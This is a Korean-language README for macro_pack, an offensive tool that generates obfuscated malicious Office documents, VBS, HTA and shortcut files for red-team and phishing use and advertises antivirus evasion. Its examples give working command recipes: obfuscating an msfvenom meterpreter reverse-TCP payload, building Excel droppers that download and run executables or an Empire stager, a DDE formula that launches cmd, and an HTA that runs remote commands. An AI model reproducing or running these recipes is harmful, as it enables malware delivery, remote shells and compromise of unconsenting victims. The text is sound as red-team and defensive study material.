
macro_pack은 @EmericNasi가 만든 도구로, 침투 테스트(pentest), 데모, 소셜 엔지니어링 평가를 위해 Office 문서, VB 스크립트, 바로 가기 및 기타 형식의 난독화와 생성을 자동화하는 데 사용됩니다. macro_pack의 목표는 악용(exploitation)과 안티멀웨어 우회를 간소화하고, 악성 매크로 및 스크립트 생성부터 최종 문서 생성까지의 프로세스를 자동화하는 것입니다. 또한 레드팀 또는 보안 연구에 유용한 많은 기능을 제공합니다.
MacroPack Community는 MS Office 문서나 VBS 형식과 같은 레트로 포맷의 난독화 및 생성을 자동화하는 도구입니다. 또한 다양한 바로가기 형식을 처리합니다. 이 도구는 레드팀, 모의 침투, 데모, 사회공학 평가에 사용될 수 있습니다. MacroPack은 안티멀웨어 솔루션 우회를 단순화하고, VB 소스에서 최종 Office 문서 또는 기타 페이로드 유형으로의 프로세스를 자동화합니다. 사용법은 매우 간단합니다:
이 도구는 인기 있는 침투 테스트 도구(Metasploit, Empire 등)에서 생성된 페이로드와 호환됩니다. stdin에서 입력을 읽고 다른 도구로 조용히 출력할 수 있으므로 다른 도구와 결합하기도 쉽습니다. 이 도구는 Python3로 작성되었으며 Linux와 Windows 플랫폼에서 모두 작동합니다.
참고: Office 문서 자동 생성 또는 트로이 목마 기능을 위해서는 적절한 MS Office 응용 프로그램이 설치된 Windows 플랫폼이 필요합니다.

이 도구는 다양한 난독화 기술을 모두 자동으로 사용합니다. 난독화 기능은 MacroPack으로 생성할 수 있는 모든 VBA 및 VBS 기반 형식과 호환됩니다. 기본 난독화(-o 옵션)에는 다음이 포함됩니다:
MacroPack은 여러 종류의 MS Office 문서 및 스크립트 형식을 생성할 수 있습니다. 형식은 지정된 파일 확장자에 따라 자동으로 추측됩니다. 파일 생성은 --generate 또는 -G 옵션을 사용하여 수행됩니다.
MacroPack 프로 버전에서는 --trojan 또는 -T 옵션을 사용하여 기존 Office 파일에 트로이 목마를 심을 수도 있습니다.
지원되는 Ms Office 형식:
지원되는 스크립팅(txt) 형식:
지원되는 바로가기/셸 형식:
모든 스크립팅 및 바로가기 형식(LNK 제외)은 MacroPack Linux 버전에서도 생성할 수 있습니다.
이 소프트웨어는 레드팀 활동, 침투 테스트, 피싱 시뮬레이션, 보안 연구 또는 기타 형태의 보안 평가 맥락에서만 사용해야 하며, 시스템 소유자의 합법적이고 공식적인 승인을 받아야 합니다. 사전 동의 없이 대상을 공격하는 데 이 소프트웨어를 사용하는 것은 금지되어 있으며 불법입니다. 사용자는 모든 관련 지역, 주, 연방 및 국가 법률을 준수할 책임이 있습니다. 당사는 어떠한 책임도 지지 않으며, 이 소프트웨어 사용으로 인해 발생할 수 있는 오용이나 손해에 대해 책임을 지지 않습니다.
MacroPack의 모든 기능과 옵션이 MacroPack Community에서 제공되는 것은 아닙니다. 온라인에서는 커뮤니티 버전만 사용할 수 있습니다. 프로 버전의 기능은 진정으로 프로세스를 "무기화"하기 때문에 전문가만 접근할 수 있습니다. 프로 모드에는 다음과 같은 기능이 포함됩니다:
BallisKit Vimeo 채널에서 몇 가지 짧은 데모 비디오를 확인할 수 있습니다.
중요: MacroPack 프로에 관해 저에게 연락하고 싶다면 emeric.nasi [at] sevagas.com 이메일 주소를 사용하세요. 프로 버전에 대한 익명 문의에는 응답하지 않으며, 전문 이메일에만 응답합니다.
### 소스에서 설치
MacroPack을 빌드하려면 Windows 시스템에서 작업해야 합니다. 의존성을 다운로드하고 설치하십시오:```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
이 도구는 python 3로 작성되었으므로, python3 설치로 시작하면 됩니다. 예:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
pyinstaller를 사용하여 독립 실행형 exe 파일을 만들려면:
* pyinstaller 설치: pip install pyinstaller
* "build.bat" 스크립트를 더블 클릭하세요.
결과로 생성된 macro\_pack.exe는 **bin** 디렉토리 안에 있습니다.
## 몇 가지 예제
### MacroPack Community
- 지원되는 모든 파일 형식 나열```bash
macro_pack.exe --listformats
- msfvenom으로 생성된 VBA 파일을 난독화하고 결과를 새 VBA 파일에 저장합니다.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- 난독화된 드로퍼가 포함된 MS Excel 파일 생성 (payload.exe 다운로드 및 dropped.exe로 저장)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- DROPPER_PS 템플릿을 사용하여 powershell.exe 없이 Empire Launcher stager를 다운로드 및 실행```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Excel DDE 데모"></p>
- PowerShell을 사용하여 Dynamic Data Exchange (DDE) 공격을 통해 파일을 다운로드하고 실행```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY 데모"></p>
- 난독화된 meterpreter reverse TCP VBS 파일을 생성하고 실행합니다. ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- 클릭 시 로컬 HTA 파일을 실행하는 URL 바로가기 생성```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### MacroPack Pro 예시 몇 가지